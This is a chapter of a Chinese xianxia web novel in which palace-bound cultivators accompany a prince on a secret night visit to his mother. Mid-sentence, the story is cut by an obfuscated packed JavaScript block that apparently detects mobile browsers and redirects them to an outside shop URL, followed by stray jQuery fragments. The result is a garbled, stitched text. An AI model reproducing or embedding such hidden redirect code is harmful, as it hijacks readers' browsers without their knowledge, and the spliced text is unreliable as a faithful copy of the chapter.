14. 月黑风高
作品:《重养一只狐狸》 元泽没瞧见徐丽影的求救眼神,她和苏遗星已经先一步上了第二辆马车。
唐朵朵生怕晚了,赶紧拉着徐丽影跟过去。
“走吧,”事已至此,怀荧拍了拍杜玉华的肩膀,“朵儿师姐年纪小。”
两辆华贵的马车从城门一路行驶至宫中,元泽与苏遗星坐在一侧,唐朵朵面对面盯着苏遗星的脸,黑眸亮晶晶。
“……”
苏遗星如坐针毡,元泽闭目养神,徐丽影一个头两个大。
她想了半天,终于想到一个转移唐朵朵注意力的话题,“朵儿师姐,你这次怎么会跟我们一起来?”
千机峰的弟子虽然有一定的自保手段,但通常很少出外派。
唐朵朵果然转头,“峰内的藏书阁我都看得差不多,没什么有意思的东西了。听说魏国皇室有一个厉害的空间法宝,我想来研究研究。”
元泽忽地睁开眼,她方才就在苦恼要怎么借人家的传世秘宝,没想到瞌睡就有人递枕头,“你能借到方圆密界?”
“不知道哇,到时候你们把皇帝的事情办漂亮,再帮我说说好话,”唐朵朵双手合十,“拜托了。”
“……”元泽一噎,果然没那么顺利。
不多时马车停下,元泽等人陆续下车。
比起外头,皇宫内显得冷清不少,只能看见值夜巡逻的卫兵和跑腿的侍从在外头。
“劳烦诸位稍等片刻,我先向父皇请示。”魏则明看向魏则荣,“你随我一同进去吧。”
魏则荣点头,“好。”
元泽几人等在鎏金殿外。这时,宫道深处走出一位提着灯笼的宫女,她仔细端详过众人的面孔,有些犹豫地问道:“诸位是太清宗来的仙君吗?”
“正是,”怀荧点头,“请问姑娘有何事?”
“唤我何枝便好,”何枝福了福身,“我是瑾妃娘娘的贴身侍女,听说二殿下回宫,娘娘差我过来看看。”
徐丽影道:“魏师兄在殿中面见陛下,应该快出来了。”
瑾妃是魏帝宠妃,也是魏则荣的生母。
据说魏帝微服私访时对她一见钟情。
瑾妃乃县丞之女,不到半年封妃,更是独宠后宫多年,育有一儿一女,在坊间也是一段帝王情深的佳话。
元泽也听过几耳朵。
正说话间,鎏金殿门打开,两道修长的人影并排走出,步下台阶。
“……殿下。”何枝喉咙一哽,险些流出泪来。
魏则荣一下认出了她,“何枝?”
“这么晚了瑾妃娘娘还没休息?”魏则明问道。
何枝连忙见礼,“大殿下,娘娘只是多年不见二殿下,念子心切。”
魏则明没与何枝多言,他挥手召来身后副卫,“带几位仙君在抚仙阁安顿,切勿怠慢。则荣,夜深去后宫多有不便,暂且等明日吧。”
魏则荣面色如常地点头,“好。”
何枝没再说话,福身请退,低头匆匆离开。
待魏则明与众人告别,只剩副卫在前方领路,魏则荣的面色终于冷凝起来。
抚仙阁建成三百余年,也是魏国开国供奉散修的居所。阁内早无人烟,因其特殊性,一直没有旁人入主,只是定期有侍从清扫。
“仙君早些休息,明日一早刑部的窦大人就会过来,翰林的案子一直是窦大人负责的。”
魏则荣点头,“有劳。”
“不敢当,”副卫弓身抱拳,“二殿下,卑职先告退。”
抚仙阁上下七层烛火明亮,宫女侍卫一应俱全,几人刚刚跨过门槛便有六七个裙装宫女迎上来,要引他们入寝殿备水洗漱。
这阵仗,没靠近元泽就闻到一股脂粉香料味,她左右看了看,其他人都是一脸不自在。
魏则荣也没好多少,“不必,你们向出去,没有吩咐不用进来。”
“是。”
香风一阵阵飘走,魏则荣眉心微拧,一言不发地上楼进了一间屋子。
元泽侧目,这人步伐略微急,明显状态不太对。
魏则荣说到底是皇室子孙,说不定可助她借到方圆密界,能帮的地方还是帮一帮。
她心下有思忖,在屋里没坐满一柱香时间,就敲响了隔壁的门。
门扉打开,苏遗星只着了一件单薄的里衣,半截雪白笔直的锁骨露在外头,墨发披散着,眸中隐有倦意,“元泽?”
元泽忽然觉得自己好像有些冒昧,“你在睡觉?”
“没睡着。”
苏遗星揉了揉眼睛,他聚精会神学了一天的字,原本是打算看看那本书巩固一下,没想到才看了两行就犯困。
“那你休息吧,不要睡得太沉。”
妖能化人形即代表有筑基的修为,定中城的魔修还不知是什么来头,需小心为上。
苏遗星睁大眼睛注视着她,“你要出去吗?我不困,我跟你一起。”
见他这幅样子,元泽就知道说什么都没用,只好点头答应。
苏遗星回屋将衣裳穿整齐,最后抬手给自己扎马尾。
他这个姿势显得腰身劲瘦,从胯骨到肩膀的线条起伏舒张,透着一股莫名的美感。
元泽站在外头看得清清楚楚,当然也不是她想看,只是因为他压根没关门。
两人下楼,堂中却已有了两道身影。
徐丽影和唐朵朵转过头,四双眼睛相对而望,元泽挑眉,“你们这是?”
“朵儿师姐说要来帮魏师兄。”徐丽影有些无奈。
唐朵朵拂了拂额发,用一副很有故事感的口吻说,“有言道自古帝王多薄情,所谓恩宠更是水中月镜中花,瑾妃娘娘现在不一定过得好。而且从进城到现在,魏师弟就一直被架着。”
“他方才的眼神你们见着了吗?简直蠢蠢欲动啊。”她一脸高深莫测,“所以我猜,他今晚一定会偷偷去看她妈妈。”
苏遗星问:“妈妈?”
“额…我老家的叫法,就是母亲的意思。”
元泽没想到唐朵朵的想法居然和自己一样,“唐师姐心地善良。”
唐朵朵眯眼笑,“主要还是想吃瓜。”
徐丽影不解:“吃瓜?也是你老家的叫法?”
“嗯,就是看热闹的意思。”
桌上备着茶水,四个人干脆坐下一人倒了一杯,还没喝两口,木质的楼梯传来细微的响动,人影下楼的动作一顿。
四个人抬头,果然是魏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241373|197749||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
则荣。
魏则荣怎么也没想到深更半夜有一群人坐这喝茶,“……你们怎么还未休息?”
唐朵朵装模作样地端起茶盏,“唉,不知那诡修的底细,好害怕明天有危险啊。”
魏则荣额角青筋跳了跳,“师姐,你是器修,明日不用你动手。”
唐朵朵:“……忘了。”
徐丽影正色道:“师兄,你可是要去寻瑾妃娘娘?”
魏则荣瞬间明白了,这些人是在这等着他呢。
“天亮前我定回来,不会误事。”
元泽道:“我们不是这个意思。魏师弟,现今还不知瑾妃娘娘那儿什么情况,多一个人多一份力量。
“对对,”唐朵朵连连点头,“我们是想帮你,才不是去看热闹呢。”
“……”
虽然但是,魏则荣的行动已经暴露,不管他情不情愿,都只能带着这帮人一起走。
月黑风高夜,宫内守卫没有减少,但元泽等人毕竟是修士,想要掩藏行踪还是很容易。
魏则荣打头,五个人身形飞快,在阴暗处留下一排残影。
元泽殿后,她前头是苏遗星。半路她突然觉得好笑,从前世到现在,自己也是二十好几的人,居然跟着这群十八九岁的少年后头偷偷摸摸的。
不多时,魏则荣在一座宫殿前停下,后方四人也跟着刹住脚。
苏遗星盯着门头牌匾上的三个字,忍不住展示自己学习了大半天的成果,“浣月宫。”
他偏过头,但没人在意,几个人已经站在墙根底下准备翻墙。
“……”
还是元泽发现少人,回头招手,“苏遗星?”
苏遗星的心情重新明媚,“来了。”
浣月宫已经熄了烛火,几个人猫在漆黑一片的院子里。魏则荣独自摸进屋内,将假寐守夜的何枝拍醒。
何枝迷迷糊糊睁眼,被陌生的黑影吓了一跳,就在她惊恐叫喊的前一瞬,黑影说话了,“是我。”
“……殿、殿下。”
“嗯。”
何枝连滚带爬地往寝房里钻,“我去叫娘娘。”
不消片刻,寝房深处传来脚步声,“荣儿、荣儿在哪?”
“母妃。”
对修仙之人来说,黑暗中也完全能视物。魏则荣看见一个人影朝他快步走来,还是记忆中的那张温柔的面孔,只是眼尾生了细纹,嘴角也不像曾经那般总是蓄着笑意。
瑾妃伸出手,魏则荣立马接住,喉咙有些发紧,“母妃,这些年,您……”
他想问这些年您过得好不好,可根本不用问。
如果过得好,怎么会连他回来都不能第一时间见面?
方才若非他主动询问,父皇怕是一句都不会提及母妃。
这一切,与他五年前离开时大相径庭。
“荣儿……”瑾妃声音颤抖眼眶发热,压抑多时的情感像潮水一般涌来。
突然有烛光亮起,瑾妃看清了长高很多的魏则荣,也看清了他身后四双亮晶晶的陌生眼睛。
“……”
瑾妃一下噎住,眼泪卡在眼眶中。
何枝端着刚点燃的烛台也有些发愣,怎么这么多人?

